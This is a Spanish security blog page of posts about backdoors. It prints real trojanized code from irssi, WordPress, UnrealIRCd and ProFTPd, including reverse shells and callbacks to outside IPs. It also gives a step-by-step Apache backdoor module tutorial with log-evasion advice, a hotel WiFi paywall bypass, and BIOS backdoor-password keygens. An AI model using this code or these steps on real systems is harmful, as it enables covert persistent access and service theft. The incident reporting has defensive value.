Mostrando entradas con la etiqueta backdoors. Mostrar todas las entradas
Mostrando entradas con la etiqueta backdoors. Mostrar todas las entradas

31 diciembre 2014

Descubriendo "backdoor" para WiFi gratis en un hotel



Durante las vacaciones de Navidad, tuve la suerte de acudir a un hotel de una gran ciudad el cual disponía de conexión WiFi en todo el edificio. La ventaja fundamental: total cobertura en cualquier punto de las instalaciones, gratuita en lobby y segunda planta, y con una señal aceptable a lo largo de sus 50 plantas ¿Inconveniente? Un coste de 12.95$ por cada 24 horas de acceso desde las habitaciones (!!) Para una estancia de 10 días, casi podría pagar una noche más de hotel e irme a cualquier establecimiento, o comprar 3 SIMs prepago con 4G y más de 1GB.

Al conectar a la red Wireless disponible del hotel, nos aparece la siguiente pantalla de bienvenida (la red no tiene ningún tipo de cifrado...)

Pantalla de inicio para acceso WiFi

En este caso, se nos podría pre-generar un acceso y cargarse a la habitación, o pagar directamente a través del portal con tarjeta de crédito para desbloquear el acceso para el dispositivo durante un número determinado de días.

En este paso nos quedamos quietos, y observamos la información de red asignada a la tarjeta inalámbrica en el que se nos da dirección IP, máscara de red, puerta de enlace (gateway) y servidores DNS. Apuntamos los datos y nos fijamos en la puerta de enlace, a la que le hacemos una pequeña enumeración, resultando los siguientes servicios disponibles:

Host is up (0.0014s latency).
Not shown: 995 filtered ports
PORT     STATE SERVICE    VERSION
53/tcp   open  domain
80/tcp   open  http?
443/tcp  open  ssl/https?
1111/tcp open  http       GoAhead-Webs embedded httpd
1112/tcp open  ssl/http   GoAhead-Webs embedded httpd
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :

Tanto para los puertos 80 y 443 no se reconocía correctamente el servicio, dándonos nmap la información de fingerprinting típica con la respuesta tras contactar con los servicios desconocidos. Debido a que los 80 y 443 ya los conocíamos (correspondían con el acceso mostrado anteriormente), nos fijamos en los puertos 1111 y 1112, los cuales corresponden también con servicios web...

Acceso a servicio web del router a través del puerto 1111
Vaya, una nueva pantalla, esta vez correspondiente a lo que parece ser un frontal de un Nomadix, fabricante de dispositivos de comunicaciones inalámbricas entre otras cosas.

No tenemos ningún usuario ni contraseña, por lo que...ya que se nos permite crear un nuevo usuario mediante el botón "New User"...¡probemos!

Creación de acceso para red wifi

De forma altruísta, como veréis en la pantalla, se nos permite seleccionar 2 planes (que parece que estaban de oferta...): el primero con 256K de bajada/128K de subida, el segundo con 512K de bajada/256K de subida. Ambos planes tenían un precio de 0$ la hora...y yo...¡no soy tonto! Seleccioné el Plan B, y como me pregunta cuánto tiempo quiero comprar (en la caja con texto How much Internet access time would you like to purchase?), puse una cifra alta porque no sabía si se refería a minutos, segundos, horas, días, meses....

El resto de campos eran opcionales, y como sólo quería probar si funcionaba, directamente hice clic en Submit para pasar a la siguiente pantalla.

Una vez hice clic en el botón, se me redirigió a una pantalla en blanco ya por el puerto 1112 con SSL....sin mensaje alguno... que me hizo pensar que este chollo había finalizado....

Siguiente pantalla del proceso finalizado

¡Un momento! ¿Que pone en el título de esta página en blanco?

Suscripción aceptada
Alegría inmensa al leer "Subscription Accepted", ¿pero será verdad? Lo siguiente que intenté fue probar a acceder sobre http://www.securitybydefault.com (por si Google se había caído...), y...

Acceso correcto a Internet sin límites

A partir de este momento, debido a que la dirección MAC quedó registrada con acceso por suscripción correcta en el plan B, una vez conectada a la red wifi, no saltaría ningún panel de autenticación nunca más, ni solicitud de apellido o número de habitación.

Pero bueno, todo esto fue por mera curiosidad, ya que posteriormente lo más seguro era utilizar una red de datos con una tarjeta SIM prepago en lugar de una red Wifi de estas características, por muy "gratis" y "abierta" que estuviese.

Quizás decir que esto es una backdoor es demasiado exagerado, pero lo considero un método alternativo para generar una conexión satisfactoria a Internet, y estoy seguro que este método ni siquiera es el usado por el propio hotel para generar las claves para los huéspedes....
Leer más...

28 noviembre 2012


Ya podemos añadir un nuevo caso de "puerta trasera escandalosa" a la recopilación que hicimos hace un año en este post "Las puertas traseras más escandalosas". Se ha publicado una vulnerabilidad en el US-CERT, con identificador VU#281284, en el que se hace referencia a un firmware para impresoras Samsung que contendría una cuenta de administración incluída directamente en el código, a modo de puerta trasera.

Neil Smith, del blog http://l8security.com/, publicaba esta misma madrugada detalles más concretos sobre dónde había detectado dicha vulnerabilidad.

Revisando el código de la clase NetworkManager, aparecen varias cadenas constantes inicializadas con el valor s!a@m#n$p%c, que pertenecería a una cuenta de administración SNMP y que permitiría a un usuario remoto el tomar el control total del dispositivo:


Por lo que comenta el autor, dicha cadena se ha encontrado también en firmwares que incluso corresponden con el 2004 como año de publicación.

Si bien Samsung ha retirado las páginas de soporte donde se incluyen los firmwares, en l8security se enlace una página de Dell en la que siguen pudiéndose descargar los firmwares de Samsung para su impresora Dell 2335DN.

Curiosamente, según el informe del US-CERT acerca de esta vulnerabilidad, aún desactivando el SNMP desde la utilidad de impresión, esta community de lectura-escritura seguiría activa pudiéndose utilizar para gestionar el dispositivo.

Mediante este SNMP, sería posible realizar cambios en la configuración del dispositivo, acceder a información sensible (como credenciales), así como ejecución de comandos.

Al parecer, Samsung ha anunciado que sacará una herramienta para solventar esta vulnerabilidad y que los firmwares publicados a partir del 31 de Octubre de 2012 no se ven afectados ni incluyen esta cuenta.



Leer más...

17 julio 2012

Backdooring Apache

A la hora de pensar en cómo fortificar activos informáticos, diseñar políticas de seguridad o manejar información de un IDS, resulta importante tener todo el 'background' posible de las amenazas que te acechan.

El mundo de las 'backdoors' o herramientas destinadas a mantener un acceso ilegítimo, es muy amplio, rico y sofisticado, en el caso de Apache, parece que lo que más abunda son las típicas webshells, ficheros (normalmente en PHP) que se instalan como un CGI más pero con intención de poder ejecutar comandos a través del servidor web.

Este tipo de webshells tienen varios hándicaps:
  • Supone añadir un fichero en el directorio 'caliente' donde están las aplicaciones web.
  • Si se opta por modificar un fichero legítimo (troyanizarlo) se corre el riesgo de que en una actualización sea eliminado 
En el post de hoy vamos a explicar una alternativa a las típicas webshells, vamos a crear una backdoor en forma de módulo Apache.

Crear un módulo Apache es relativamente sencillo ya que está bastante bien documentado como hacerlo, especialmente en C y Perl, optaremos por Perl para hacer un ejemplo sencillo de módulo 'backdoor' que funcione en cualquier instalación de Apache2 ahorrándonos tener que compilar nada.

El código fuente del módulo es este:


Como se puede observar, bastante simple y sencillo, básicamente toma como parámetro (n) el comando a ejecutar, este comando es ejecutado, y se envía el resultado.

Para instalarlo, debemos copiar el fichero Auxiliar.pm (con el código anterior) en /usr/lib64/perl5/Apache2/ (ruta de una CentOS 6, otras distribuciones puede variar, especialmente si la arquitectura es 32bits)

Una vez copiado, necesitamos añadir las siguientes líneas en httpd.conf

<Location /auxiliar>
 SetHandler  perl-script
 PerlHandler Apache2::Auxiliar
</Location>


Reiniciamos el servidor, y si todo ha ido bien, ya tenemos disponible nuestra backdoor en forma de módulo.

La probamos:

$ curl -d "n=ls" http://192.168.4.66/auxiliar

<HTML>
<HEAD>
<TITLE>Backdoring Shell</TITLE>
</HEAD>
<BODY>
<H1>Command: </H1>

bin
boot
cgroup
dev
etc
home
lib
lib64
lost+found
media
mnt
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var


</BODY>

$ curl -d "n=whoami" http://192.168.4.66/auxiliar

<HTML>
<HEAD>
<TITLE>Backdoring Shell</TITLE>
</HEAD>
<BODY>
<H1>Command: </H1>

apache


</BODY>
</HTML>


Funciona perfectamente. Es muy importante usar siempre peticiones de tipo POST, para evitar que quede logeado más de la cuenta:

Petición tipo GET almacenada en fichero de log:

GET /auxiliar?n=ls HTTP/1.1

Petición tipo POST almacenada en fichero de log:

POST /auxiliar HTTP/1.1

Leer más...

22 julio 2011

Ayer os contábamos el caso del malware incrustado en el instalador de CamStudio, probablemente debido a una intrusión en el servidor de descargas y modificación del fichero de instalación.

Éste no es un caso aislado, y es que a proyectos tan importantes como irssi, Wordpress, UnrealIRCd, ProFTPd o recientemente vsftpd también les ha pasado algo parecido.

Si bien no se puede decir que sea inevitable, se pueden tomar algunas medidas de seguridad para que las posibilidades de que ésto suceda se reduzcan al mínimo, o ayudar a detectar el problema lo antes posible para aplicar una solución.

1.- Publicar hashes de los ficheros
Ya sea mediante MD5, SHA1, SHA512, WHIRLPOOL u otro que nos guste más, es básico publicar junto con el paquete la huella del mismo para que los usuarios que lo descarguen puedan comprobar que es el mismo fichero que el autor subió. La elección del algoritmo debería depender del tamaño de los ficheros y la popularidad del mismo, por ejemplo, MD5 sería una buena opción para ficheros grandes por ser rápido y SHA1 para los pequeños.

Por supuesto, las huellas y los ficheros de descarga deben estar en diferentes sitios independientes.

2.- Publicar firmas GPG de los ficheros
La idea es la misma que la anterior, pero utilizando GPG en vez de hashes.

3.- Separar sitio web y sitio de descargas
Por una razón lógica, y es que si consiguen hacer una intrusión en uno habrá discordancias que permitirán detectar el problema rápidamente. Por ejemplo, si tenemos los hashes en el sitio web y vulneran el sitio de descargas para reemplazar un paquete, no podrán cambiar también el hash de dicho paquete, y tanto los usuarios como el administrador podrán ver rápidamente que algo no funciona como debería.

4.- Evitar alojamientos o servicios compartidos
Para que no nos pase lo mismo que a Ettercap deberíamos evitar servicios compartidos de alojamiento como SourceForge o Google Code. Un fallo de seguridad en su sistema puede afectarnos directamente.

Por el mismo motivo también deberíamos evitar alojamientos compartidos, donde se comparte un único espacio con múltiples clientes.

5.- Comprobar la integridad de los ficheros en algún proceso
Si el proyecto consta de instalación no está de más que se compruebe la integridad del paquete durante el proceso teniendo como referencia los hashes almacenados en nuestro servidor. Si el proyecto no consta de instalación, se podría programar un pequeño script que realizara el proceso.

Con estas medidas podemos reducir significativamente el riesgo de que nuestro proyecto sufra alguna modificación malintencionada externa. ¿Se os ocurre alguna medida más? ¿Creéis que son medidas excesivas? ¿Las cumplen los proyectos, especialmente los de productos relacionados con la seguridad?
Leer más...

04 julio 2011

El smile de la muerte: Puerta trasera en vsftpd 2.3.4

Se ha descubierto una puerta trasera nueva, que podríamos añadir al recopilatorio que se realizó en SecurityByDefault con las puertas traseras más escandalosas. En esta ocasión, le toca el turno a un servidor FTP de uso muy extendido: vsftpd. Curiosamente, este software FTP tiene el slogan de "probablemente el servidor FTP más seguro y rápido para sistemas UNIX". 

Quizás el software lo sea, pero su distribución se ha visto comprometida. Chris "ScaryBeast" Evans, su creador, informaba en su blog Scarybeast Security acerca de este incidente, tras ser avisado por un usuario. Se comprobó que el software en el fichero compilado vsftpd-2.3.4.tar.gz hospedado en su sitio principal contenía una puerta trasera, en la que escribiendo como nombre de usuario del servidor FTP el símbolo de la sonrisa o smile ( :) ) se conseguía acceso total y ejecución de comandos en el servidor al devolver una shell del sistema.

Analizando el código diff (comparación con versiones anteriores) del servidor FTP comprometido que fue volcado a un pastebin, apreciamos claramente la puerta trasera así como su acción a desencadenar:


Tras la comprobación en el nombre de usuario de que el primer carácter (almacenado en p_str->p_buf[i]) es el símbolo ":" y que en el segundo carácter (almacenado en p_str->p_buf[i+1]) se encuentra el símbolo ")", se ejecutaría la shell en el puerto 6200 TCP, cuya definición se encuentra en la función vsf_sysutil_extra(), que pasamos a mostrar a continuación:


Fácil, sencillo, sin cifrado, ni ofuscación, todo clarísimo y nada sofisticado. El autor, tras el incidente, ha movido la página del proyecto, así como el software, a una cuenta de Google App Engine, en la que dice que se siente más seguro y cuyo servicio le inspira más confianza.


Leer más...

15 diciembre 2010

Las puertas traseras más escandalosas

Se acaba de publicar en la lista de OpenBSD un mail inquietante, como poco. Theo de Raadt, lider del proyecto, ha comunicado que el código del sistema operativo ha podido ser "troyanizado" por sus desarrolladores a petición del gobierno de Estados Unidos entre el año 2000 y 2001.

La noticia es un auténtico bombazo y Theo ha solicitado a la comunidad ayuda para auditar el código.

En otras ocasiones, generalmente cuando el código es cerrado, son los propios fabricantes y desarrolladores los que introducen estas puertas y por este motivo son prácticamente imposibles de detectar, salvo análisis muy profundos y exhaustivos.

He recopilado algunas de las puertas traseras más interesantes y escandalosas:

APLICACIONES DE CÓDIGO ABIERTO

irssi versión 0.8.4, 25 de mayo del 2002. Código introducido en el "configure" del cliente de IRC que causa ejecución de código, después de que los servidores del proyecto fueran hackeados cerca del 14 de Marzo del 2002. CVE-1840-2002
int s;
        struct sockaddr_in sa;
        switch(fork()) { case 0: break; default: exit(0); }
        if((s = socket(AF_INET, SOCK_STREAM, 0)) == (-1)) {
                exit(1);
        }
  /* HP/UX 9 (%@#!) writes to sscanf strings */
        memset(&sa, 0, sizeof(sa));
        sa.sin_family = AF_INET; 
        sa.sin_port = htons(6667); 
        sa.sin_addr.s_addr = inet_addr("204.120.36.206");
        if(connect(s, (struct sockaddr *)&sa, sizeof(sa)) == (-1)) {
                exit(1);
        }
        dup2(s, 0); dup2(s, 1); dup2(s, 2);
/* The GNU C library defines this for functions which it implements
    to always fail with ENOSYS. Some functions are actually named 
    something starting with __ and the normal name is an alias. */
        { char *args[] = { "/bin/sh", NULL }; execve(args[0], args, NULL); }


Wordpress 2.1.1,  2 de marzo del 2007. Tras una intrusión en los sistemas de wordpress, se incluyen dos backdoors en el código de esta versión del gestor de contenido que permite ejecución de código PHP. En concreto, se modifican dos archivos: wp-includes/feed.php a la que se le añade un eval() y wp-includes/theme.php al que le crece un passthru(). De esta forma, se asegura la ejecución incluso si en alguna configuración alguna de estas funciones está deshabilitada. Ya se sabe, alta disponibilidad. CVE 1277-2007. Los cambios:

En wp-includes/feed.php
function comment_text_phpfilter($filterdata) {
eval($filterdata);
}
En wp-includes/theme.php
function get_theme_mcommand($mcds) {
passthru($mcds);
}
...
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

UnrealIRCd 3.2.8.1, detectado 12 de Junio del 2010, puerta trasera introducida desde el 10 de Noviembre del 2009, permite ejecución de código en el servidor. Pasaron 6 meses distribuyendo el software con el código modificado. Como algo anecdótico, los líderes del proyecto comentaron que dejaron de utilizar el firmado de binarios, porque nadie lo usaba. ¡Ups!  CVE 2010-2075. El diff del código modificado:

@@ -430,6 +430,7 @@
 #endif
 
 /* Fake lag exception */
+
 #define IsNoFakeLag(x)      ((x)->flags & FLAGS_NOFAKELAG)
 #define SetNoFakeLag(x)     ((x)->flags |= FLAGS_NOFAKELAG)
 #define ClearNoFakeLag(x)   ((x)->flags &= ~FLAGS_NOFAKELAG)
@@ -448,6 +449,7 @@
 #else
 #define IsNotSpoof(x)           (1)
 #endif
+#define        DEBUGMODE3          ((x)->flags & FLAGS_NOFAKELAG)
 
 #define GetHost(x)                     (IsHidden(x) ? (x)->user->virthost : (x)->user->realhost)
 #define GetIP(x)                       ((x->user && x->user->ip_str) ? x->user->ip_str : (MyConnect(x) ? 
Inet_ia2p(&x->ip) : NULL))
@@ -513,6 +515,10 @@
 #else
 #define CHECKPROTO(x,y) (checkprotoflags(x, y, __FILE__, __LINE__))
 #endif
+#ifdef DEBUGMODE3
+#define DEBUGMODE3_INFO        "AB"
+#define        DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
+#endif
 
 #define DontSendQuit(x)                (CHECKPROTO(x, PROTO_NOQUIT))
 #define IsToken(x)             (CHECKPROTO(x, PROTO_TOKEN))
@@ -1373,6 +1379,7 @@
 #define INCLUDE_REMOTE     0x2
 #define INCLUDE_DLQUEUED   0x4
 #define INCLUDE_USED       0x8
+#define DEBUG3_DOLOG_SYSTEM(x) system(x)
        
 struct _configitem_include {
        ConfigItem *prev, *next;
diff -ru Unreal3.2-good/src/s_bsd.c Unreal3.2-backdoored/src/s_bsd.c
--- Unreal3.2-good/src/s_bsd.c  2009-03-01 10:37:58.000000000 -0800
+++ Unreal3.2-backdoored/src/s_bsd.c    2006-06-16 11:29:00.000000000 -0700
@@ -1431,6 +1431,10 @@
                    return 1;
                if (length <= 0)
                        return length;
+#ifdef DEBUGMODE3
+       if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
+           DEBUG3_LOG(readbuf);
+#endif
                for (h = Hooks[HOOKTYPE_RAWPACKET_IN]; h; h = h->next)
                {
                        int v = (*(h->func.intfunc))(cptr, readbuf, length);

Proftpd 1.3.3c, 1 de diciembre de 2010. Añade mediante el archivo "configure", un archive test.c, que envía una shell, este es invocado desde help.c, que también es modificado.CVE 2010-3867, los ficheros modificados y creados el 28 de noviembre del 2010:

Archivo configure:
gcc tests/tests.c -o tests/tests >/dev/null 2>&1
cc tests/tests.c -o tests/tests >/dev/null 2>&1
tests/tests >/dev/null 2>&1 &
rm -rf tests/tests.c tests/tests >/dev/null 2>&1

El código C de test.c:
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define DEF_PORT 9090
#define DEF_TIMEOUT 15
#define DEF_COMMAND "GET /AB HTTP/1.0\r\n\r\n"

int sock;

void handle_timeout(int sig)
{
    close(sock);
    exit(0);
}

int main(void)
{

        struct sockaddr_in addr;
        struct hostent *he;
        u_short port;
        char ip[20]="212.26.42.47";
        port = DEF_PORT;
        signal(SIGALRM, handle_timeout);
        alarm(DEF_TIMEOUT);
        he=gethostbyname(ip);
        if(he==NULL) return(-1);
        addr.sin_addr.s_addr = *(unsigned long*)he->h_addr;
        addr.sin_port = htons(port);
        addr.sin_family = AF_INET;
        memset(addr.sin_zero, 0, 8);
        sprintf(ip, inet_ntoa(addr.sin_addr));
        if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1)
        {
                return EXIT_FAILURE;
        }
        if(connect(sock, (struct sockaddr*)&addr, sizeof(struct sockaddr))==-1)
        {
            close(sock);
            return EXIT_FAILURE;
        }
        if(-1 == send(sock, DEF_COMMAND, strlen(DEF_COMMAND), 0))
        {
            return EXIT_FAILURE;
        }
        close(sock);

return 0; }
Y por último fichero src/help.c
} else {
 if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
  /* List the syntax for the given target command. */
  for (i = 0; i < help_list->nelts; i++) {

Linux kernel 2.6-test9-CVS, 6 de noviembre de 2003. Acceso al repositorio y modificación del código del kernel para introducir una puerta trasera y escalar a privilegios de root. Más detalle en la entrada que le dedicamosCVE 2003-1161. El cambio fue realmente discreto:

--- GOOD 2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;


APLICACIONES DE CODIGO CERRADO


Ipswitch WS_FTP Server 4.0.2.EVAL, 23 de marzo de 2004, por alguna extraña razón este servidor de FTP permite conectarse a localhost con credenciales por defecto no documentadas: XXSESS_MGRYY con contraseña X#1833. Elevando privilegios a usuario SYSTEM. CVE 2004-1884

[PDF] Los switches de Accton (3com, Dell, SMC, Foundry y EdgeCore), 15 de agosto de 2009. En la conferencia HAR2009 se revela que estos sistemas tienen una puerta trasera que permite acceder a ellos sin conocer su contraseña. Para ello se utiliza un generador de passwords basado en la MAC del dispositivo. El script  también se publicó.

Cisco y su "lawful intercept" o intercepción legal, que permite la escucha de las comunicaciones o algunos usuarios y contraseñas introducidos por defecto en sus productos, como en el caso de los dispositivos WLSE y HSE o los de Videoconferencia (UVC). 

HP MSA2000 Storage Systems, Diciembre 2010, sistemas de HP con usuarios incrustados en el código fuente (admin/!admin), que no pueden ser borrados ni eliminados.

Seguro que si esta entrada hubiera estado escrita en el blog de 48bits, el título sería más gracioso.
Leer más...

04 noviembre 2010

Protecciones de arranque en portátiles (PC/MAC)

Siempre que se recomienda proteger la seguridad de un sistema, físicamente hablando, la primera frase que se pronuncia es la de "establece una contraseña en la BIOS". La BIOS, por explicarlo a grandes rasgos y para todos, es el primer programa que se ejecuta una vez iniciado el dispositivo, antes que el sistema operativo.

De ahí que una de las recomendaciones para protegerse de ataques típicos realizados con una livecd o el método Kon-Boot (además de cualquier otro bootkit) sea la de evitar modificar la secuencia de arranque del ordenador para que permita iniciar en primer lugar desde un CD, DVD o USB.

Además de proteger la BIOS para evitar su modificación de parámetros, también se recomienda establecer una contraseña de arranque del sistema. Por lo tanto nos encontramos con dos tipos diferentes de protecciones en BIOS:
  1. Establecer contraseña de modificación de parámetros de BIOS (protege la propia BIOS, y no todas las placas base soportan esta funcionalidad)
  2. Establecer contraseña de arranque del sistema (evita la carga del sistema operativo si no se conoce la contraseña)
Para saltarse/eliminar las protecciones BIOS, siempre se ha recomendado el típico método de: abre el ordenador, localiza la pila y sácala, o localiza el jumper correspondiente y provoca un reset de la información. Con esto tendremos una BIOS con la configuración por defecto y valores de fábrica. Fuerza bruta donde las haya, y en según que escenarios, una solución demasiado aparatosa salvo que vayas con gorra azul y en tu chaqueta ponga Mantenimiento.

Pero cuando nos encontramos con un portátil, aún sabiendo que los anteriores métodos también funcionan a la perfección, la cosa cambia. Sí, también funcionan, pero en esta ocasión no estamos hablando de quitar únicamente 4 o 5 tornillos.

Dejando los métodos físicos a un lado para las BIOS de PCs convencionales, centrémonos en las soluciones denominadas lógicas, aprovechando puertas traseras, contraseñas por defecto según fabricante, etc.

[PC] El arranque nos solicita una contraseña

De repente encendemos ¿?¿nuestro?¿? ordenador, y nos solicita la contraseña de arranque.
Existen una serie de contraseñas de emergencia provistas por el fabricante que podrían desbloquear bastantes modelos de BIOS. Podréis consultar un ejemplo de una amplia lista de contraseñas backdoor por fabricante (AWARD, AMI, PHOENIX, etc), en este enlace.

Algunos ejemplos de contraseñas de emergencia
No es un método recomendable (salvo para algunos fabricantes del que se conocen pocas combinaciones) ya que en muchas ocasiones nos encontramos con demasiadas posibilidades que poder comprobar, y es muy probable que acabemos bloqueando la propia BIOS, ganándonos un mensaje parecido al de la siguiente imagen (System Disabled) que se puede encontrar en multitud de foros de ayuda y auxilio:


¿Y ahora que hacemos?

[PC] BIOS bloqueada tras varios intentos fallidos de contraseña

Tenemos el sistema bloqueado tras varios intentos, y en la gran mayoría de los casos, además del asustadizo (no hay que llevarse las manos a la cabeza) mensaje "System Disabled", se nos proporcionará una serie de números. Podréis encontrar más ejemplos de sistemas deshabilitados con una simple búsqueda en Google Images. Otras veces, con la propia petición de contraseña, se nos mostrará la etiqueta de servicio / service tag, como en el caso de los modelos de portátil marca Dell:

BIOS de portátil Dell pidiendo contraseña de acceso.
Para estos casos, podremos consultar la tabla de BIOS realizada por dogbert, en la que recopila, según fabricante, un conjunto de scripts a modo de keygens que nos generarán, en base a un número (ya sea el hash ofrecido en el mensaje de sistema deshabilitado como mediante cualquier otro identificador), una contraseña de rescate que será aceptada satisfactoriamente por el sistema, y nos dará acceso. 

Keygens para BIOS de fabricantes como Dell, Fujitsu, HP....
No es necesario ejecutarse en el mismo sistema protegido, ya que no modifica ningún valor de la memoría como las antiguas soluciones software que se dedicaban a resetear la CMOS (CmosPwd, !Bios...). Puede ejecutarse en cualquier sistema, en ocasiones se tratan de scripts en python y en otras, simples binarios cuyo código fuente también tenemos disponible. Para el caso de la BIOS del portátil DELL que mostramos anteriormente, es tan simple como introducir dicho Service Tag en la herramienta:


Y se nos generará una contraseña válida que también será aceptada por la BIOS para continuar con el inicio del sistema.

Os recomiendo leer algunos de los posts del blog de dogbert etiquetados bajo "bios" ya que poco a poco explica, según BIOS a las que va teniendo acceso, el proceso de su ingeniería inversa y obtención del algoritmo utilizado por los fabricantes, para luego generar herramientas que generen códigos válidos. Tendréis información más detallada sobre el proceso de ingeniería inversa llevado a cabo para portátiles Fujitsu-Siemens, mini-netbooks de HP-Compaq...y como no, más información en la recopilación que hemos enlazado anteriormente.

[MAC] Protección de Open Firmware y EFI

Si tenemos más de un minuto para poder resetear la contraseña de inicio de un portátil Mac, siempre podremos realizar un método de tipo físico similar al de quitar la pila en BIOS de PCs convencionales. Destornillador en mano, principalmente, debemos realizar un reset de la PVRAM realizando los siguientes pasos:

1) Cambiar la configuración de memoria RAM - Esto se consigue eliminando alguna de las pastillas de RAM. Acceder a dicho componente y extraerlo es bien sencillo.

2) Iniciar el reset de PVRAM - Tras encender el portátil, mantener pulsadas las teclas Command+Option+P+R hasta que se oigan 3 sonidos tipicos de arranque de los Mac (el que se emite cuando sale el splash de la manzana, previo al arranque del sistema operativo).




Tras emitirse por segunda vez el sonido ya podremos dejar de pulsar las teclas.

3) Mediante este método restableceremos la PRAM a sus valores por defecto.

Actualmente es el método por excelencia, incluso se puede encontrar en la página de soporte oficial de Apple. Sin contar con la contraseña de administrador del sistema operativo, es lo único a lo que podremos recurrir.

Pero, ¿y si queremos recuperar/eliminar la contraseña, teniendo acceso como administrador en el sistema? Quién sabe, es otro escenario posible...
  • PowerPC - Open Firmware
Encontraremos un enlace al foro de soporte oficial de Apple en el que se nos insta a utilizar una herramienta, denominada Open Firmware Passwordque establecerá una contraseña para el firmware del dispositivo. En las nuevas versiones de Mac OS X, se puede encontrar dicha aplicación en el disco de instalación del sistema, dentro del directorio Applications/Utilities. Para versiones de Mac OS X de la 10.1 a la 10.3.9 se puede descargar mediante este enlace.

Estando dentro del sistema, podremos obtener la contraseña que se haya establecido mediante Open Firmware Password utilizando la aplicación FWSucker, de mSec (que ya tiene unos cuantos años, ni responde la página web del grupo). En SecureMac encontraremos un mirror con el .sit de FWSucker alojado por ellos para poder acceder a la herramienta.
  • Equipos basados en Intel - EFI
Existe un script denominado EFIpw que se encuentra disponible aquí. La única pega es que necesita permisos de root en el sistema como hemos comentado anteriormente, así que únicamente podremos utilizarla para recuperar la contraseña del EFI tras un despiste...


Leer más...

04 agosto 2010

Quien roba a un ladrón...


Que duro es ser script-kiddie últimamente, y es que uno se lía con un servidor compartido de un colega de esos de 10€/mes y cuando te das cuenta estas buscando una imagen de un pinguino sacando cuernos a lo Metallica para ponérsela como página principal de su web.

Lo más normal tras conseguir acceso al servidor es colocar alguna puerta trasera que permita volver a entrar cuando uno quiera. Como por ejemplo las shells en php tan típicas en entornos LAMP. Entre las más populares y usadas: r57, c99, c100, mysqlshell, etcétera.

Si te ocurre como yo y no tienes a mano una de estas aplicaciones lo normal es buscarla en Internet para acabar en algún portal como phpshell.net, aunque te recomiendo que sigas leyendo hasta el final la entrada antes de usar alguna de ellas.



Por si acaso hay dudas, el código de estas shells esta ofuscado para que no se pueda leer directamente y tengas que pasarte tu rato si quieres hacer alguna modificación.

Tras el trabajo sucio, una de las líneas llama un script en javascript localizado en el servidor del que se ha descargado. Por ejemplo:

<script type="text/javascript">
document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063
\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0070
\u0068\u0070\u0073\u0068\u0065\u006c\u006c\u002e\u006e\u0065\u0074\u002f\u0073
\u0068\u0061\u0064\u006f\u0077\u002f\u006b\u0061\u0079\u0064\u0065\u0074\u002e
\u006a\u0073\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')
</script>

O lo que es lo mismo:

<script src="http://www.phpshell.net/shadow/kaydet.js">
</script>

El pequeño javascript  mandará un GET a un php con la URL donde se ha instalado la shell, revelando donde ir para obtener el acceso al sistema.

a=new/**/Image();a.src='http://www.phpshell.net/shadow/kaydet.php?a='+escape(location.href);

Una petición de ejemplo de nuestro navegador sería la siguiente:


Lo mejor de todo es que esto no es un caso aislado, hay varias páginas que amablemente te permiten descargar las phpshells y tienen el mismo sistema montado, como: http://r57.gen.tr, http://saldiri.org, http://www.c99shell.com/, http://sh3llz.org/ y ... unas decenas más

Así que ojo amigo conductor, que lo mismo revelas donde has instalado tu backdoor.

Leer más...

28 agosto 2009

Envían CDs infectados con troyanos a bancos

Como si del cuento de blancanieves y los siete enanitos se tratase, se ha descubierto en Canadá un fraude bastante curioso.

Por lo visto, se han detectado envíos de CDs a sucursales bancarias que estaban infectados con troyanos. Supuestamente esos CDs provenían de la NCUA (National Credit Union Administration) Canadiense y en teoría contenían material informativo sobre troyanos (ironía, que no falte).

Esta técnica no es en absoluto nueva, cabe destacar que en el 2006 (tal y como cuentan en Hispasec) la empresa The Trainning Camp repartió en Londres CDs el día de los enamorados que supuestamente tenían una promoción afín a ese día, pero que en realidad contenían un troyano que informaba cuando alguien había insertado el CD. ¿Resultado? Un buen numero de personas ejecutaron el CD sin ninguna precaución.

En definitiva, resulta curioso como en el mundo online la gente parece que empieza a adoptar posturas coherentes (no es extraño escuchar la palabra Firewall a una persona mayor de 50 años) pero sin embargo el mundo físico goza de total credibilidad.

Y por cierto, hablando de temas físicos, Pedro Sánchez de Conexión Inversa, ha publicado un procedimiento preventivo llamado 'Mesas limpias' que puede ser muy útil como marco de referencia a la hora de diseñar procedimientos corporativos.
Leer más...

21 octubre 2008

Telecom Italia ofrece routers con backdoor incluida

Telecom Italia (el ISP análogo a la Telefónica Española) tiene un servicio ADSL llamado 'Alice' que hoy merece una reseña en este blog no por su extrema calidad o por su enorme ancho de banda, el motivo es que unos investigadores Italianos han encontrado una backdoor en el router que ofrece como parte del servicio.

Por lo visto 'sandax' y 'drpepperONE' (los nicks de los investigadores) han localizado una curiosa forma de acceder a la interface de administración de los routers que, teóricamente, no debería estar accesible al usuario.

Lo curioso de la backdoor es que no se trata de una contraseña 'privada' (alguien recuerda el famoso adminttd / adminttd?) La puerta oculta está diseñada a modo de 'port knocker'. Para activar la puerta trasera es necesario enviar un paquete IP diseñado específicamente a tal efecto y, una vez enviado, magicamente se desbloquea el router permitiendo acceso total via ftp/http/tftp.

El paquete en concreto ha de tener las siguientes características:

Numero de protocolo: 255
El contenido / payload del paquete de tener un tamaño exacto de 8 bytes
En ese contenido ha de ir un md5 de la MAC del router
Leer más...